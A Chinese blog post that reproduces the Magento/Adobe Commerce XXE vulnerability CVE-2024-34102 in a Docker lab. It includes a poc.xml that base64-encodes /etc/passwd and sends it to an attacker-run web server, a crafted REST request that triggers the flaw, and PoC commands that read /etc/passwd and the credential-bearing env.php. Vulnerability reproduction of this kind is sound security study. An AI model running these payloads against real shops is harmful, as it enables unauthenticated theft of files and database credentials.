当前位置: 首页 > news >正文

【漏洞复现】CVE-2024-34102 Magento Open Source XXE漏洞

目录

漏洞介绍

影响版本

环境搭建

查看版本

漏洞复现

手动复现

漏洞 poc


  • Magento Open Source 是一个免费开源的电子商务平台,适合中小企业或开发团队通过自定义代码和插件创建在线商店。它由社区开发和支持,功能强大但需要更多的技术投入。
  • Adobe Commerce 是 Magento 的付费版,增加了高级功能、托管服务、技术支持和企业工具,适合需要复杂功能和高性能支持的大型企业。

Magento Open Source 和 Adobe Commerce 都属于 Adobe 公司。它们来源于同一个平台:Magento,最初由 Magento, Inc. 开发,但后来在 2018 年被 Adobe 收购。在收购后,Adobe 将 Magento 平台重新划分为两种版本:Magento Open Source(社区版)和Adobe Commerce(企业版)。

漏洞介绍

Adobe Commerce和Magento Open Sourc多个受影响版本中存在XML外部实体引用限制不当,未经身份验证的威胁者可发送引用外部实体的恶意设计的 XML文档来利用该漏洞,成功利用可能导致任意代码执行。

影响版本

Adobe Commerce 和 Magento Open Source

  • 2.4.7-p1 and earlier
  • 2.4.6-p6 and earlier
  • 2.4.5-p8 and earlier
  • 2.4.4-p9 and earlier

环境搭建

安装 Magento 需要 至少 6GB 的 RAM 分配给 Docker。这是因为 Magento 是一个复杂且资源密集的电子商务平台,安装过程中需要运行多个服务和工具。

  • 系统:ubuntu2020
  • 版本:Magento Open Source 2.4.7

安装方法,参考:https://github.com/markshust/docker-magento/?tab=readme-ov-file#new-projects

mkdir -p ~/Sites/magento
cd $_
curl -s https://raw.githubusercontent.com/markshust/docker-magento/master/lib/template | bash
bin/download community 2.4.7 community
bin/setup magento.test

禁用 Magento 的双重认证模块,避免每次登录时输入验证码。

docker exec -it magento-phpfpm-1 bash
bin/magento module:disable Magento_AdminAdobeImsTwoFactorAuth
bin/magento module:disable Magento_TwoFactorAuth

然后绑定下 host 文件,访问:https://magento.test


如果访问网站响应非常慢,建议切换到生产模式。默认安装后在开发模式下运行,所有的配置和静态内容会在每次请求时动态加载,这会导致较慢的页面加载时间。

切换到 生产模式(production mode):

bin/magento deploy:mode:set production

如果在安装的时候,访问 Magento 需要密钥。username 为 public-key。Password 为 private-key

获取密钥的方式如下:

  1. 到官方注册 Magento 账号:Sign in
  2. 登录 Marketplace,打到My Profile 的 Access Keys 页面新建一个自己的 Access Key。或直接进入页面:Sign in

查看版本

bin/magento --version

漏洞复现

手动复现

1. 编辑 poc.xml 文件,读取 /etc/passwd 文件

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://192.168.67.147:80/poc.xml?%data;'>">

然后在当前目录启动一个 web 服务:http://192.168.67.147:80/poc.xml

python -m http.server 80

2. 构造请求利用 XXE 读取文件

POST /rest/all/V1/guest-carts/test-assetnote/estimate-shipping-methods HTTP/2
Host: magento.test
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Content-Type: application/json
Content-Length: 267{"address": {"totalsReader": {"collectorList": {"totalCollector": {"sourceData": {"data": "<?xml version=\"1.0\" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM \"http://192.168.67.147:80/poc.xml\"> %sp; %param1; ]> <r>&exfil;</r>", "options":12345678 }}}}}}

漏洞 poc

poc:https://github.com/bigb0x/CVE-2024-34102,这里 poc 需要修改一下,将其中的 options 值修改为 12345678,否则有些文件读取不出来

cve-2024-34102.py -u https://magento.test -ip 本地ip -p 端口 -r /etc/passwd

读取 /var/www/html/app/etc/env.php 文件,这个文件定义了 Magento 的数据库连接信息,以及其他服务如 Elasticsearch、RabbitMQ 等服务的连接信息

cve-2024-34102.py -u https://magento.test -ip 192.168.67.147 -p 80 -r /var/www/html/app/etc/env.php

参考:

http://www.bmth666.cn/2024/06/28

相关文章:

【漏洞复现】CVE-2024-34102 Magento Open Source XXE漏洞

目录 漏洞介绍 影响版本 环境搭建 查看版本 漏洞复现 手动复现 漏洞 poc Magento Open Source 是一个免费开源的电子商务平台&#xff0c;适合中小企业或开发团队通过自定义代码和插件创建在线商店。它由社区开发和支持&#xff0c;功能强大但需要更多的技术投入。Adobe…...

数据结构 ——二叉树转广义表

数据结构 ——二叉树转广义表 1、树转广义表 如下一棵树&#xff0c;转换为广义表 root(c(a()(b()()))(e(d()())(f()(j(h()())())))) (根&#xff08;左子树&#xff09;&#xff08;右子树&#xff09;) 代码实现 #include<stdio.h> #include<stdlib.h>//保存…...

Redis篇-6--原理篇5--单线程模型

1、概述 Redis 采用单线程模型来处理客户端请求&#xff0c;这意味着在任意时刻只有一个命令被执行。这种设计简化了 Redis 的实现&#xff0c;并确保了高并发环境下的数据一致性。尽管 Redis 是单线程的&#xff0c;但它通过高效的内存管理和网络 I/O 操作&#xff0c;仍然能…...

LSTM详解

1. LSTM设计 LSTM(长短期记忆网络)详解 长短期记忆网络(LSTM, Long Short-Term Memory) 是一种特殊的循环神经网络(RNN),特别适合处理和预测序列数据中的长时间依赖关系。LSTM 通过引入“门机制”(如输入门、遗忘门、输出门)来解决标准 RNN 在长时间序列任务中梯度消…...

Docker 安装 Seata2.0.0 (快速配置)

说明&#xff1a;已安装Docker、MySql等&#xff0c;案例使用Mysql数据库模式、Nacos配置信息 1、准备工作 1.1 拉取镜像 [rootTseng ~]# docker pull seataio/seata-server:2.0.0 2.0.0: Pulling from seataio/seata-server 001c52e26ad5: Already exists d9d4b9b6e964: P…...

文件断点续传(视频播放,大文件下载)

客户端每次请求取大文件部分数据。 浏览器播放mp4视频时&#xff0c;会首先传Range消息头&#xff0c;检测到206状态码&#xff0c;和Content-Range&#xff0c;Accept-Ranges 会自动请求余下数据。后端需要在文件任意偏移量取数据。 参考&#xff1a; springboot项目实现断…...

神经网络基础-初识神经网络

人工神经网络&#xff08; Artificial Neural Network&#xff0c; 简写为ANN&#xff09;也简称为神经网络&#xff08;NN&#xff09;&#xff0c;是一种模仿生物神经网络结构和功能的计算模型。人脑可以看做是一个生物神经网络&#xff0c;由众多的神经元连接而成。各个神经…...

爬虫获取的数据能否用于商业分析?

根据搜索结果&#xff0c;爬虫获取的数据能否用于商业分析&#xff0c;主要取决于以下几个因素&#xff1a; 数据的合法性与合规性&#xff1a; 爬虫技术本身并不违法&#xff0c;关键在于使用的方式和目的。爬虫技术的使用必须遵守相关法律法规&#xff0c;如《反不正当竞争法…...

【Java】3、并发编程 JUC(模块三:设计模式)

目录 Immutability模式Copy-on-Write模式线程本地存储模式Guarded Suspension模式&#xff08;保护性暂停&#xff09;Balking模式Thread-Per-Message模式Worker Thread模式两阶段终止模式生产者-消费者模式 Immutability模式 Copy-on-Write模式 线程本地存储模式 Guarded S…...

ASP.NET|日常开发中连接Sqlite数据库详解

ASP.NET&#xff5c;日常开发中连接Sqlite数据库详解 前言一、安装和引用相关库1.1 安装 SQLite 驱动1.2 引用命名空间 二、配置连接字符串2.1 连接字符串的基本格式 三、建立数据库连接3.1 创建连接对象并打开连接 四、执行数据库操作4.1 创建表&#xff08;以简单的用户表为例…...

渗透测试学习笔记(四)web漏洞

一.web相关漏洞 漏洞分类漏洞类型Web 源码类漏洞SQL 注入&#xff0c;文件上传&#xff0c;XSS&#xff0c;代码执行&#xff0c;变量覆盖&#xff0c;逻辑漏洞&#xff0c;反序列化Web 中间件漏洞未授权访问&#xff0c;变量覆盖数据库漏洞弱口令&#xff0c;权限提升系统层漏…...

Facebook如何避免因IP变动而封号?实用指南

随着Facebook在个人社交与商业推广中的广泛应用&#xff0c;越来越多的用户面临因“IP变动”而被封号的问题。尤其是跨境电商、广告运营者和多账号管理用户&#xff0c;这种情况可能严重影响正常使用和业务发展。那么&#xff0c;如何避免因IP变动导致的封号问题&#xff1f;本…...

【Vulkan入门】10-CreatePipeline

目录 先叨叨Git信息关键代码TestPipeline::Initialize() 编译运行 先叨叨 到上篇为止已经创建了FrameBuffer和RenderPass。建立Pipeline的先决条件已经具备。本篇就来创建Pipeline。 Git信息 repository: https://gitee.com/J8_series/easy-car-uitag: 10-CreatePipelineurl…...

视频安防监控平台:Liveweb视频监控管理云平台方案

LiveWeb是深圳市好游科技有限公司开发的一套综合视频汇聚管理平台&#xff0c;可提供多协议&#xff08;RTSP/RTMP/GB28181/海康Ehome/大华&#xff0c;海康SDK等&#xff09;的视频设备接入&#xff0c;支持GB/T28181上下级联&#xff0c;RTSP\RTMP转GB/T28181&#xff0c;云台…...

企业级日志分析系统ELK之ELK概述

ELK 概述 ELK 介绍 什么是 ELK 早期IT架构中的系统和应用的日志分散在不同的主机和文件&#xff0c;如果应用出现问题&#xff0c;开发和运维人员想排 查原因&#xff0c;就要先找到相应的主机上的日志文件再进行查找和分析&#xff0c;所以非常不方便&#xff0c;而且还涉及…...

scala隐式转换

概念&#xff1a; 在Scala编程语言中&#xff0c;隐式转换是一种强大的功能&#xff0c;它允许程序在需要时自动转换数据类型或增强对象功能。这种转换通常是通过定义一个标记为implicit的函数来实现的&#xff0c;这个函数能够将一种类型转换为另一种类型。隐式转换的使用可以…...

基于无线传感器网络的无线土壤湿度采集系统(附详细使用教程+完整代码+原理图+完整课设报告)

&#x1f38a;项目专栏&#xff1a;【Zigbee课程设计系列文章】&#xff08;附详细使用教程完整代码原理图完整课设报告&#xff09; 前言 &#x1f451;由于无线传感器网络&#xff08;也即是Zigbee&#xff09;作为&#x1f310;物联网工程的一门必修专业课&#xff0c;具有…...

367_C++_计算mouse移动过程中,视频框的右侧、底部边距,以及根据实时的右侧、底部边距计算—视频框的左上角位置

代码分析 1. restorePos 方法 restorePos 的作用是恢复 NavigationFrame 的位置,将其移动到父窗口或者指定矩形内的特定位置。 void NavigationFrame::restorePos() {// 获取目标矩形:优先使用 `m_pRect`,否则默认使用视频区域或父窗口区域RSRect videoRect(m_pVide...

Ubuntu下将Julia嵌入Jupyter内核

一.安装 Julia 如果 Julia 尚未安装&#xff1a; 打开终端&#xff0c;下载最新的 Julia 安装包&#xff1a; wget https://julialang-s3.julialang.org/bin/linux/x64/1.9/julia-1.9.3-linux-x86_64.tar.gz 解压并移动到 /opt&#xff1a; tar -xvzf julia-1.9.3-linux-x86_…...

babeltrace与CTF相关学习笔记-1

babeltrace与CTF相关学习笔记-1 写在前面代码下载代码代码编译相关的依赖bootstrapconfigure过程编译和安装注 编译完成后&#xff0c;初步的审视找到与ctf相关的工程tests./test-ctf-writer.sh先运行./test-ctf-writer.shctf-writer脚本 vscode跟踪ctf-writer.c后记&#xff1…...

国内Chrome浏览器下载安装教程,谷歌浏览器最新下载教程

今天主要讲解的是国内Chrome浏览器下载安装教程&#xff0c;谷歌浏览器最新下载教程&#xff0c;包括确认浏览器版本、ChromeDriver 驱动的下载&#xff0c;同理&#xff0c;这个教程同样适用于windows版本的&#xff0c;linux 版本的&#xff0c; mac 版本的。 众所周知&…...

使用秘钥登录服务器

在我们测试或生产环境中&#xff0c;为了服务器安全性&#xff0c;有时可能需要以 SSH 密钥的方式登录服务器&#xff0c;接下来&#xff0c;将演示如何通过 SSH 私钥的方式来远程服务器。 一、远程服务器生成密钥对 1、首先在目标远程服务器下生成 SSH 密钥对 ssh-keygen然…...

vscode中PyQt5模块代码提示问题

在VSCode中使用PyQt5时遇到代码提示缺失的问题&#xff0c;尝试了更新jedi、使用Pylance插件以及修改python.autoComplete.extraPaths配置均未见效。 ## 配置qgis的vscode开发环境 在vscode编辑器中qgis的引入会报错&#xff0c;请按一下步骤解决&#xff1a; 1. 在vscode中&a…...

SpringBoot 整合 RabbitMQ 实现流量消峰

RabbitMQ 即一个消息队列&#xff0c;主要是用来实现应用程序的异步和解耦&#xff0c;同时也能起到消息缓冲&#xff0c;消息分发的作用。 消息中间件在互联网公司的使用中越来越多&#xff0c;刚才还看到新闻阿里将 RocketMQ 捐献给了 Apache&#xff0c;当然了今天的主角还…...

Jenkins与SonarQube持续集成搭建及坑位详解

Jenkins和SonarQube都是软件开发过程中常用的工具,它们在代码管理、构建、测试和质量管理方面发挥着重要作用。以下是关于Jenkins与SonarQube的作用及整合步骤环境搭建的详细解释: 一、Jenkins与SonarQube的作用 Jenkins: Jenkins是一个开源的持续集成和交付工具,它可以帮…...

从YOLOv5到训练实战:易用性和扩展性的加强

文章目录 前言一、模型介绍二、YOLOv5网络结构1.Input&#xff08;输入端&#xff09;&#xff1a;智能预处理与优化策略2.Backbone&#xff08;骨干网络&#xff09;&#xff1a;高效特征提取3.NECK&#xff08;颈部&#xff09;&#xff1a;特征增强与多尺度融合4.Prediction…...

聊聊Oracle自适应查询优化

成也AQO败也AQO 因为工作的原因&#xff0c;我们接触到的客户大部分是金融和运营商行业&#xff0c;这些客户有个最大的特点是追求稳定&#xff0c;对于使用数据库新特性持保守的态度&#xff0c;不会轻易尝试某些可能会导致生产系统不稳定的新特性。上线前通常都会将一些新特…...

MySQL其四,各种函数,以及模拟了炸裂函数创建用户等操作

目录 一、MySQL中的函数 1、IFNULL 2、IF 3、case &#xff08;难点&#xff09; 4、exists(难) --存在的意思 二、常见的函数 1、字符串函数 2、数学函数 3、日期函数 &#xff08;使用频率不是很高&#xff09; 4、其他函数 5、关于字符集的问题 6、mysql炸裂函数…...

浅谈 php 采用curl 函数库获取网页 cookie 和 带着cookie去访问 网页的方法!!!!

由于近段时间帮朋友开发一个能够查询正方教务系统的微信公众平台号。有所收获。这里总结下个人经验。 开讲前&#xff0c;先吐槽一下新浪云服务器&#xff0c;一个程序里的 同一个函数 在PC测试可以正常运行&#xff0c;在它那里就会挂的现象。 老样子&#xff0c;我将在代…...

ssm-springmvc-学习笔记

简介 简单的来说&#xff0c;就是一个在表述层负责和前端数据进行交互的框架 帮我们简化了许多从前端获取数据的步骤 springmvc基本流程 用户在原本的没有框架的时候请求会直接调用到controller这个类&#xff0c;但是其步骤非常繁琐 所以我们就使用springmvc进行简化 当用…...

nVisual 登录页页面配置说明

一、概述 nVisual登录页面可根据具体客户需要通过public\config\access.js文件进行自定义配置。页面可以大致分为4个部分&#xff0c;头部、底部、可移动区域以及页面中间的信息填写区域。其中头部和底部又包含头部左侧、头部中间、头部右侧、底部左侧、底部中间、底部右侧六个…...

Qt6开发自签名证书的https代理服务器

目标&#xff1a;制作一个具备类似Fiddler、Burpsuit、Wireshark的https协议代理抓包功能&#xff0c;但是集成到自己的app内&#xff0c;这样无需修改系统代理设置&#xff0c;使用QWebengineview通过自建的代理服务器&#xff0c;即可实现https包的实时监测、注入等自定义功能…...

crapy 爬虫框架的使用

1.scrapy框架安装 安装前先安装python3和pycharm 社区版 执行命令安装scrapy&#xff0c; pip install scrapy 2.创建项目 执行命令&#xff1a; scrapy startproject test_spider 如图&#xff1a; 3.使用pycharm大开项目并设置pipenv虚拟机环境 虚拟环境是为了依赖隔…...

Edge SCDN 边缘安全加速有什么用?

Edge SCDN是最新推出的边缘安全加速服务&#xff0c;它是一种融合了安全防护和内容分发加速功能的网络服务技术&#xff0c;通过在网络边缘部署服务器节点&#xff0c;来优化内容的传输和用户的访问体验&#xff0c;同时保障网络安全。 抵御 DDoS 攻击&#xff1a; Edge SCDN …...

使用aarch64-unknown-linux-musl编译生成静态ARM64可执行文件

使用aarch64-unknown-linux-musl编译生成静态ARM64可执行文件 使用aarch64-unknown-linux-musl编译生成静态ARM64可执行文件1. 安装aarch64-unknown-linux-musl目标2. 安装交叉编译工具链安装musl-cross-make 3. 配置Rust编译器使用交叉编译工具链4. 编译你的Rust项目5. 运行或…...

u-boot移植、配置、编译学习笔记【刚开始就中止了】

教程视频地址 https://www.bilibili.com/video/BV1L24y187cK 【这个视频中途停更了…原因是实际中需要去改u-boot的情况比较少】 使用的u-boot的源码 视频中使用的是 u-boot-2017.03 学习到这里&#xff0c;暂停u-boot的移植、配置、编译学习&#xff0c;原因是经过与老师…...

torchaudio.load 段错误

使用 torchaudio.load 时出现崩溃&#xff0c;如图 解决&#xff1a; 安装 ffmpeg ​conda install ffmpeg -c conda-forge 尝试但没解决问题的方法包括 重装 cuda&#xff0c;重装 pytorch&#xff0c;安装 PySoundFile、SoundFile、sox。...

自定义函数库

求两点距离 double dis(double x1, double y1, double x2, double y2){return sqrt(pow(x2-x1, 2)pow(y2-y1, 2)); }判断闰年 bool isLeapYear(int year){return year%40 && year%100!0 || year%4000; }判断素数 bool isPrime(int num){if(num<2) return false;f…...

Tomcat的下载和使用,配置控制台输出中文日志

目录 1. 简介2. 下载3. 使用3.1 文件夹展示3.1.1 控制台输出乱码 3.2 访问localhost:80803.3 访问静态资源 4. 总结 1. 简介 Tomcat&#xff0c;全称为Apache Tomcat&#xff0c;是一个开源的Web应用服务器和Servlet容器&#xff0c;由Apache软件基金会的Jakarta项目开发。它实…...

STM32应用开发——BH1750光照传感器详解

STM32应用开发——BH1750光照传感器详解 目录 STM32应用开发——BH1750光照传感器详解前言1 硬件介绍1.1 BH1750简介1.2 硬件接线 2 软件编程2.1 软件原理2.1.1 IIC设备地址2.1.2 IIC读写2.1.3 BH1750指令集2.1.4 BH1750工作流程2.1.5 BH1750测量模式 2.2 测试代码2.3 运行测试…...

java jar包加密 jar-protect

介绍 java 本身是开放性极强的语言,代码也容易被反编译,没有语言层面的一些常规保护机制,jar包很容易被反编译和破解。 受classfinal&#xff08;已停止维护&#xff09;设计启发,针对springboot日常项目开发,重新编写安全可靠的jar包加壳加密技术,用于保护软件版权。 使用说…...

NMEA/观测文件/导航电文

NMEA-0183 NMEA-0183是美国国家海洋电子协会为海用电子设备制定的标准格式。它包含了定位时间&#xff0c;纬度&#xff0c;经度&#xff0c;高度&#xff0c;定位所用的卫星数&#xff0c;DOP&#xff0c;差分状态和校正时段等很多信息。 参考&#xff1a;GPS NMEA数据包解析…...

HTTPS的工作原理深入解析

在当今互联网时代&#xff0c;网络安全已经成为了一个备受关注的话题。随着越来越多的个人隐私和商业数据被传输在网络中&#xff0c;如何确保这些数据在传输过程中的安全性成为了每个网络开发者和用户关注的核心问题之一。而HTTPS&#xff08;HyperText Transfer Protocol Sec…...

pandas.core.frame.DataFrame怎么进行对象内容的读写

在 Python 中&#xff0c;pandas.core.frame.DataFrame 是 Pandas 数据库的核心数据结构&#xff0c;可以方便地读取和操作表格数据。以下是几种常见的读取内容的方法&#xff1a; 读取特定列 通过列名获取数据。 # 假设 df 是一个 DataFrame data df["列名"] # …...

OFCA-OpenHarmony人才认证题库答案

单选题 1.[单选题] 位于后台的应用&#xff0c;启动组件需校验的权限是: A: ohos.permission.DISTRIBUTED_DATASYNC B: ohos.permission.START_ABILITIES_FROM_BACKGROUND C: ohos.permission.ABILITY_BACKGROUND_COMMUNICATION D: ohos.permission.START_INVISIBLE_ABIL…...

若依微服务如何获取用户登录信息

文章目录 1、需求提出2、应用场景3、解决思路4、注意事项5、完整代码第一步&#xff1a;后端获取当前用户信息第二步&#xff1a;前端获取当前用户信息 6、运行结果后端测试&#xff1a;前端展示&#xff1a; 总结 1、需求提出 在微服务架构中&#xff0c;获取当前用户的登录信…...

题目 2778: 判断数正负

题目 2778: 判断数正负 时间限制: 2s 内存限制: 192MB 提交: 12161 解决: 6681 题目描述 给定一个整数N&#xff0c;判断其正负。 输入格式 一个整数N(-109 < N < 109) 输出格式 如果N > 0, 输出positive&#xff1b; 如果N 0, 输出zero&#xff1b; 如果N < 0, 输…...

【Hexo】博客自动生成AI摘要

工具介绍 如何让博客支持AI摘要&#xff0c;使用TianliGPT自动生成文章的AI摘要 摘要AI-文章摘要生成工具 文章摘要是一个专业的文字摘要生成工具&#xff0c;你可以将需要提取摘要的文本内容发送给TianliGPT&#xff0c;稍等一会他就可以给你发送一个基于这段文本内容的摘要。…...

vue3-count-to实现数字动态增长效果

vue3-count-to 是一个用于 Vue 3的数字计数动画库&#xff0c;常用于在页面上实现数字的动态增长效果&#xff0c;类似于从某个起始值渐变到目标值的效果。它可以用来显示各种数字、统计数据或展示动画效果。 1 安装 vue3-count-to 首先&#xff0c;你需要安装 vue3-count-to …...

第一课【输入输出】(题解)

1.向世界问好 题目描述 编程输出以下内容: Hello World! Im a C program. 输入格式 本题无输入。 输出格式 请按照样例输出&#xff0c;注意大小写、空格、感叹号&#xff0c;句号&#xff0c;单引号都必须使用英文输入法里的符号。 样例输入/输出 输入数据 1 本题无…...